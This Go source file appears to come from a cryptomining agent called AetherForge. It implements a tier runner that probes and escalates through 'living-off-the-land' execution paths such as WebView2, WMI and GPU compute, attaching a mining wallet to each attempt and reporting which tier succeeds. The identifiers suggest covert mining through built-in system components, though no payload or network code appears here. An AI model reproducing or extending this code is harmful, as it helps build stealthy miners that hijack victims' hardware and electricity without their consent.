Files
AetherForge/agent/miner/probe_runner.go

198 lines
4.2 KiB
Go

package miner
import (
"context"
"log"
"runtime"
"sync"
"time"
"crypto-miner-agent/config"
)
// TierHandler probes or starts one auxiliary LOTL path (WebView2, WMI, etc.).
type TierHandler interface {
Tier() LOTLTier
Available(cfg config.RuntimeConfig) bool
Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt
Stop()
}
// ProbeReporter emits probe-tier snapshots (single-arg; distinct from TierOrchestrator reporter).
type ProbeReporter func(report TierReport)
// TierRunner orchestrates probe/escalation tiers with per-attempt reporting.
type TierRunner struct {
mu sync.RWMutex
cfg config.RuntimeConfig
handlers []TierHandler
report ProbeReporter
attempts []TierAttempt
active LOTLTier
stopped []TierHandler
}
// NewTierRunner builds a runner with platform-default handlers.
func NewTierRunner(cfg config.RuntimeConfig, report ProbeReporter) *TierRunner {
return &TierRunner{
cfg: cfg,
handlers: defaultTierHandlers(),
report: report,
}
}
// SetHandlers replaces handlers (tests inject mocks).
func (r *TierRunner) SetHandlers(h []TierHandler) {
r.mu.Lock()
r.handlers = h
r.mu.Unlock()
}
// Report returns the current tier snapshot.
func (r *TierRunner) Report() TierReport {
r.mu.RLock()
defer r.mu.RUnlock()
return r.buildReport()
}
func (r *TierRunner) buildReport() TierReport {
attempts := make([]TierAttempt, len(r.attempts))
copy(attempts, r.attempts)
rep := TierReport{
ActiveTier: r.active,
Attempts: attempts,
}
for _, a := range attempts {
if a.Tier == TierWebView2Probe && a.OK {
if v, ok := a.Details["webgpu_available"].(bool); ok {
rep.WebGPUReady = v
}
}
if a.Tier == TierGPUCompute && a.OK {
rep.GPUComputeOK = true
}
}
return rep
}
func (r *TierRunner) emit() {
r.mu.RLock()
rep := r.buildReport()
report := r.report
r.mu.RUnlock()
if report != nil {
report(rep)
}
}
func (r *TierRunner) recordAttempt(a TierAttempt) {
r.mu.Lock()
r.attempts = append(r.attempts, a)
if a.OK && r.active == "" && a.Tier != TierWebView2Probe {
r.active = a.Tier
}
r.mu.Unlock()
log.Printf("[tier] %s ok=%v err=%q duration=%dms", a.Tier, a.OK, a.Error, a.DurationMs)
r.emit()
}
// RunProbes executes probe-only tiers (webview2) before GPU escalation.
func (r *TierRunner) RunProbes(ctx context.Context) TierReport {
r.mu.RLock()
handlers := r.handlers
cfg := r.cfg
r.mu.RUnlock()
for _, h := range handlers {
if h.Tier() != TierWebView2Probe {
continue
}
if !h.Available(cfg) {
r.recordAttempt(TierAttempt{
Tier: TierWebView2Probe,
Error: "webview2 runtime not detected",
Wallet: cfg.Wallet,
})
continue
}
start := time.Now()
a := h.Attempt(ctx, cfg)
a.DurationMs = time.Since(start).Milliseconds()
if a.Wallet == "" {
a.Wallet = cfg.Wallet
}
r.recordAttempt(a)
}
return r.Report()
}
// RunChain attempts execution tiers in order; probe tiers are skipped here.
func (r *TierRunner) RunChain(ctx context.Context) (LOTLTier, error) {
r.mu.RLock()
handlers := r.handlers
cfg := r.cfg
r.mu.RUnlock()
var lastErr error
for _, h := range handlers {
t := h.Tier()
if t == TierWebView2Probe {
continue
}
if !h.Available(cfg) {
r.recordAttempt(TierAttempt{
Tier: t,
Error: "tier unavailable on " + runtime.GOOS,
Wallet: cfg.Wallet,
})
continue
}
start := time.Now()
a := h.Attempt(ctx, cfg)
a.DurationMs = time.Since(start).Milliseconds()
if a.Wallet == "" {
a.Wallet = cfg.Wallet
}
r.recordAttempt(a)
if a.OK {
r.mu.Lock()
r.active = t
r.stopped = append(r.stopped, h)
r.mu.Unlock()
r.emit()
return t, nil
}
if a.Error != "" {
lastErr = errFromTier(a.Error)
}
}
if lastErr != nil {
return "", lastErr
}
return "", ErrTierChainSkipped
}
// WebGPUReady reports whether the webview2 probe found WebGPU.
func (r *TierRunner) WebGPUReady() bool {
return r.Report().WebGPUReady
}
// Stop halts all started tier handlers.
func (r *TierRunner) Stop() {
r.mu.Lock()
stopped := r.stopped
r.active = ""
r.stopped = nil
r.mu.Unlock()
for _, h := range stopped {
h.Stop()
}
r.emit()
}
type tierError string
func (e tierError) Error() string { return string(e) }
func errFromTier(msg string) error { return tierError(msg) }